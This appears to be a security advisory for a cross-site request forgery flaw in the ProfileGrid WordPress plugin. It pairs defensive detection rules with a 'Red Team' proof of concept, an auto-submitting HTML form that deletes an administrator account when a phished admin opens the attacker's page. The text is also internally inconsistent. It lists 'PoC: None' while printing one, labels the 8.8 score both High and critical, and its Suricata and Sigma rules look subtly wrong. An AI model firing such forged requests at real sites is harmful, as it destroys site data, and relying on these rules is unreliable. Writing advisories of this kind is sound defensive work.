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CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-57759

CVE-2026-57759 Cross-Site Request Forgery in ProfileGrid
📅 PUBLISHED: 2026-07-02 11:16 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: India License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-57759 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting the ProfileGrid WordPress plugin, versions 5.9.9.7 and earlier. This vulnerability allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, such as modifying plugin settings, creating new user roles, or deleting user data, without their knowledge or consent. The attack requires user interaction (the admin clicking a crafted link or visiting a malicious page), but due to the lack of CSRF protection in the plugin, the attacker can forge requests that appear legitimate. The CVSS score of 8.8 (High) reflects the high impact on confidentiality, integrity, and availability, combined with the low complexity of the attack. No public proof-of-concept (PoC) or patch is currently available, making this a significant threat to WordPress sites using the vulnerable plugin.

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Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the ProfileGrid plugin. It is not related to any NPM, PyPI, Go, or Ruby packages. The risk is introduced through the WordPress plugin supply chain, where users install the plugin directly from the WordPress Plugin Directory or third-party sources. Administrators should verify the integrity of their plugin files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network – The attack can be launched remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex steps are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High – Full disclosure of sensitive data is possible.
  • Integrity (I): High – Complete compromise of data integrity is possible.
  • Availability (A): High – Full denial of service or data destruction is possible.

Threat Level: Critical. The combination of network attack vector, low complexity, and high impact makes this vulnerability highly attractive to attackers. The lack of a patch and public PoC increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability stems from the absence of nonce verification or other CSRF protection mechanisms in the ProfileGrid plugin's administrative actions. In WordPress, CSRF protection is typically implemented using a nonce (number used once) that is generated per user session and validated on form submissions. Without this, an attacker can craft a malicious HTML page or email that, when loaded by an authenticated administrator, sends a forged HTTP request to the WordPress site.

Attack Flow:

  1. The attacker identifies a target WordPress site running ProfileGrid <= 5.9.9.7.
  2. The attacker crafts a malicious link or HTML page that triggers a POST request to a sensitive endpoint, e.g., wp-admin/admin.php?page=profilegrid-settings&action=delete_all_users.
  3. The attacker lures an authenticated administrator to click the link or visit the page (e.g., via phishing email or social engineering).
  4. The administrator's browser, having valid session cookies, sends the forged request to the WordPress site.
  5. The server processes the request as if it came from the legitimate admin, executing the attacker's desired action (e.g., deleting users, changing settings).

Vulnerable Endpoints: The plugin likely lacks nonce checks on all administrative actions, including user management, role editing, and plugin configuration. Specific endpoints can be identified by analyzing the plugin's source code for missing wp_nonce_field() or check_admin_referer() calls.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on standard CSRF remediation.

Vulnerable Code (ProfileGrid <= 5.9.9.7):

// In admin-settings.php
function pm_save_settings() {
    // No nonce verification
    if (isset($_POST['pm_settings'])) {
        update_option('pm_settings', $_POST['pm_settings']);
        echo '<div class="updated"><p>Settings saved.</p></div>';
    }
}

Patched Code (Hypothetical 5.9.9.8):

// In admin-settings.php
function pm_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'pm_save_settings')) {
        wp_die('Security check failed.');
    }
    if (isset($_POST['pm_settings'])) {
        update_option('pm_settings', $_POST['pm_settings']);
        echo '<div class="updated"><p>Settings saved.</p></div>';
    }
}

The patched version adds a nonce check using wp_verify_nonce() and wp_die() to reject unauthorized requests.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with ProfileGrid <= 5.9.9.7 installed and an admin user logged in.
  • A web server to host the malicious HTML page.

Step 1: Identify a vulnerable endpoint. For example, the user deletion endpoint: wp-admin/admin.php?page=pm-user-management&action=delete&user_id=1.

Step 2: Craft the CSRF exploit HTML.

<html>
<body>
<h1>Click this link to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin.php?page=pm-user-management&action=delete&user_id=1" method="POST">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

Step 3: Host the HTML file on an attacker-controlled server (e.g., http://attacker.com/exploit.html).

Step 4: Send a phishing email to the admin with a link to the exploit page.

Step 5: When the admin clicks the link, the form auto-submits, deleting user ID 1.

Blue Team (Defense & Detection)

Defensive Measures:

  1. Immediate: Disable or remove the ProfileGrid plugin until a patch is available.
  2. WAF Rule: Implement a Web Application Firewall rule to block requests to wp-admin/admin.php without a valid nonce parameter.
  3. CSRF Tokens: Ensure all forms in the admin area include a nonce. This can be enforced via a custom plugin or code snippet.
  4. User Education: Train administrators to avoid clicking suspicious links and to log out of admin sessions when not in use.

Detection:

  • Monitor for unusual POST requests to wp-admin/admin.php from external referrers.
  • Alert on multiple failed nonce checks (if logging is enabled).
  • Use the Sigma rule below to detect CSRF attempts.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP POST requests to wp-admin/admin.php with missing or invalid _wpnonce parameter.
    • Referrer headers from external domains (e.g., http://attacker.com).
  • Host:
    • Unexpected changes to plugin settings or user roles.
    • Deletion of users or posts without corresponding admin action.
    • Log entries showing wp_die('Security check failed.') (if patched).
  • File:
    • Presence of malicious HTML files in web root (e.g., exploit.html).
    • Modified plugin files (e.g., profilegrid/admin-settings.php).

Detection Engineering

YARA Rule

rule Detect_ProfileGrid_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against ProfileGrid plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-57759"
    strings:
        $s1 = "admin.php?page=pm-" nocase
        $s2 = "action=delete" nocase
        $s3 = "user_id=" nocase
        $s4 = "POST" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and filesize < 10KB
}

Sigma Rule

title: ProfileGrid CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to ProfileGrid admin endpoints without a valid nonce
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "admin.php?page=pm-"
            - "action=delete"
            - "user_id="
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with valid nonce (filtered out)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-57759 ProfileGrid CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=pm-"; http_uri; content:"action=delete"; http_uri; content:"user_id="; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: Deactivate and delete the ProfileGrid plugin from all WordPress installations until a patched version is released.
  2. Apply WAF Rules: Use the Suricata or Sigma rules above to block or alert on CSRF attempts.
  3. Audit User Activity: Review recent admin actions for signs of compromise (e.g., unexpected user deletions, role changes).

Long-Term Fix:

  • Vendor Patch: Monitor the ProfileGrid plugin page for an update to version 5.9.9.8 or later. Apply immediately upon release.
  • Code Hardening: If you are a developer, add nonce verification to all admin-facing forms and actions using wp_nonce_field() and check_admin_referer().
  • Security Plugins: Install a WordPress security plugin (e.g., Wordfence, Sucuri) that provides CSRF protection and logs suspicious activity.

Workaround:

  • Custom Code Snippet: Add the following to your theme's functions.php to enforce nonce checks on all admin POST requests (use with caution, may break legitimate functionality):
add_action('admin_init', function() {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !wp_verify_nonce($_REQUEST['_wpnonce'] ?? '', 'default')) {
        wp_die('CSRF detected.');
    }
});

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